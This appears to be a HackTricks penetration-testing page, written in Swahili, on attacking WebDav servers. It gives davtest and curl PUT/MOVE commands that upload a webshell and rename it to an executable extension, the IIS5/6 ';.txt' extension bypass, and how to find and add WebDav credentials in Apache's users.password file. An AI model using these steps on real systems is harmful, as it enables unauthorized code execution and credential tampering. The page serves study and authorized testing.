# WebDav {{#include ../../banners/hacktricks-training.md}} Wakati wa kushughulika na **HTTP Server yenye WebDav** iliyoanzishwa, inawezekana **kudhibiti faili** ikiwa una **vithibitisho** sahihi, ambavyo kawaida vinathibitishwa kupitia **HTTP Basic Authentication**. Kupata udhibiti wa seva kama hiyo mara nyingi kunahusisha **kupakia na kutekeleza webshell**. Upatikanaji wa seva ya WebDav kawaida unahitaji **vithibitisho halali**, huku [**WebDav bruteforce**](../../generic-hacking/brute-force.md#http-basic-auth) ikiwa njia ya kawaida ya kuzipata. Ili kushinda vizuizi kwenye upakiaji wa faili, hasa vile vinavyokataza utekelezaji wa skripti za upande wa seva, unaweza: - **Pakia** faili zenye **nyongeza zinazoweza kutekelezwa** moja kwa moja ikiwa hazijakatazwa. - **Badilisha jina** la faili zisizoweza kutekelezwa zilizopakiwa (kama .txt) kuwa nyongeza inayoweza kutekelezwa. - **Nakili** faili zisizoweza kutekelezwa zilizopakiwa, ukibadilisha nyongeza yao kuwa ile inayoweza kutekelezwa. ## DavTest **Davtest** inajaribu **kupakia faili kadhaa zenye nyongeza tofauti** na **kuangalia** ikiwa nyongeza hiyo inatekelezwa: ```bash davtest [-auth user:password] -move -sendbd auto -url http:// #Uplaod .txt files and try to move it to other extensions davtest [-auth user:password] -sendbd auto -url http:// #Try to upload every extension ``` ![](<../../images/image (851).png>) Hii haimaanishi kwamba **.txt** na **.html extensions zinafanywa**. Hii inamaanisha kwamba unaweza **kufikia hizi faili** kupitia mtandao. ## Cadaver Unaweza kutumia chombo hiki **kuungana na WebDav** server na kufanya vitendo (kama **kupakia**, **kuhamasisha** au **kufuta**) **kwa mikono**. ``` cadaver ``` ## PUT ombi ``` curl -T 'shell.txt' 'http://$ip' ``` ## MOVE ombi ```bash curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt' ``` ## IIS5/6 WebDav Vulnerability Ushirikiano huu ni wa kuvutia sana. **WebDav** ha **iruhusu** **kupakia** au **kurekebisha** faili zenye kiambishi **.asp**. Lakini unaweza **kuepuka** hili kwa **kuongeza** mwishoni mwa jina **";.txt"** na faili itatekelezwa kana kwamba ni faili ya .asp (unaweza pia **kutumia ".html" badala ya ".txt"** lakini **USISAHAU ";"**). Kisha unaweza **kupakia** shell yako kama faili ".**txt"** na **kunakili/kuhamasisha** kwenye faili ".asp;.txt". Ukifungua faili hiyo kupitia seva ya wavuti, itatekelezwa (cadaver itasema kuwa hatua ya kuhamasisha haikufanya kazi, lakini ilifanya). ![](<../../images/image (1092).png>) ## Post credentials Ikiwa Webdav ilikuwa ikitumia seva ya Apache unapaswa kuangalia tovuti zilizowekwa kwenye Apache. Kawaida:\ _**/etc/apache2/sites-enabled/000-default**_ Ndani yake unaweza kupata kitu kama: ``` ServerAdmin webmaster@localhost Alias /webdav /var/www/webdav DAV On AuthType Digest AuthName "webdav" AuthUserFile /etc/apache2/users.password Require valid-user ``` Kama unavyoona kuna faili zenye **credentials** halali za **webdav** server: ``` /etc/apache2/users.password ``` Ndani ya aina hii ya faili utaona **jina la mtumiaji** na **hash** ya nenosiri. Hizi ndizo sifa zinazotumiwa na seva ya webdav kuthibitisha watumiaji. Unaweza kujaribu **kufungua** hizo, au **kuongeza zaidi** ikiwa kwa sababu fulani unataka **kufikia** seva ya **webdav**: ```bash htpasswd /etc/apache2/users.password #You will be prompted for the password ``` Ili kuangalia kama akiba mpya inafanya kazi unaweza kufanya: ```bash wget --user --ask-password http://domain/path/to/webdav/ -O - -q ``` ## Marejeo - [https://vk9-sec.com/exploiting-webdav/](https://vk9-sec.com/exploiting-webdav/) {{#include ../../banners/hacktricks-training.md}}